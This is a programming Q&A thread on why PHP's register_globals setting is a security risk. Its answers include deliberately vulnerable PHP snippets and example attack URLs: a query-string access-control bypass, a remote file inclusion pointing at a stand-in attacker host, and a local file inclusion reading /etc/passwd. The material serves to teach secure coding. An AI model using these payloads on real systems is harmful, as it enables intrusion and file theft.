15

I'm not a PHP developer but i've seen in a couple of places that people seem to treat it like the plague or something. Why?

4 Answers 4

16

REGISTER_GLOBALS means that all variables passed through GET or POST are avilable as global variables in your script. Since accessing undeclared variables is not an error in PHP (it's a warning), it can lead to very nasty situations. Consider this, for example:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

It is not a bad thing per se (well engineered code should not generate warnings, therefore should not access any variables that might be undeclared (and should not need REGISTER_GLOBALS for the same reason)), but PHP code is usually [very] low quality, leading to this kind of security holes.

5
  • 23
    "PHP code is usually [very] low quality" - speak for yourself
    – OIS
    Sep 13, 2009 at 14:45
  • 6
    Usually != always. But I would recommend you to browse the source of some open-source CMS's. You'll find more eval(), erege_replace() and REGISTER_GLOBALS than you might expect. Note: I'm a php developer myself.
    – soulmerge
    Sep 13, 2009 at 14:58
  • Trying to read undefined variables is nasty. You wouldn’t have that problem with $debug = false;.
    – Gumbo
    Sep 21, 2009 at 22:19
  • @OIS - PHP scripts are often developed by people with very limited training, who are not necessarily aware of the full impact of their decisions. This is probably what the answerer meant. May 16, 2012 at 14:32
  • 1
    @soulmerge: why do you write register_globals uppercase? It's not a constant, it's a php.ini directive: php.net/manual/en/ini.core.php#ini.register-globals, so writing it uppercase doesn't make sense. By the way, when writing "PHP code is usually [very] low quality", I think you should replace the word "usually" with "often".
    – Sk8erPeter
    Jan 13, 2013 at 18:01
9

Enabling REGISTER_GLOBALS exposes webpages served by PHP to vulnerabilities which some bad guys will be keen to exploit.

With it enabled, any query string at the end of the URL:

http://yourdomain/something.php?valid=true 

will affect the value of a variable $valid (for example) in something.php, if it exists.

If you're using publically available PHP code (a library for example) the names of variables are well known, and it would be possible for hackers to control their values by assigning values in the query string. They may be able to bypass authentication.

Even if you're not using public code, it may be possible to guess the names of important variables, and control their values.

It used to be the default to have REGISTER_GLOBALS enabled in PHP.INI

Recent practice has been to disable it by default. Enable it at your own risk!

3

Just to add, here are some situations where having REGISTER_GLOBALS enabled could ruin your day:

Using the query string to bypass access control (hack using http://example.com/?logged=1):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Remote File Inclusion (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Local File Inclusion (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>
2
  • 10
    Your first example is not compromised since the value of $logged is defined by the return value of User::getLogged.
    – Gumbo
    Sep 21, 2009 at 22:32
  • @Gumbo: That's implementation defined, as we're talking about register globals here, the static method access the global with an isset check to not trigger the warning. Totally obvious, right? ^^
    – hakre
    Jul 1 at 16:08
2

Because it allows the user to inject any global variable in your code without any control.

Based on the quality of the code, it may introduce major security bugs.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.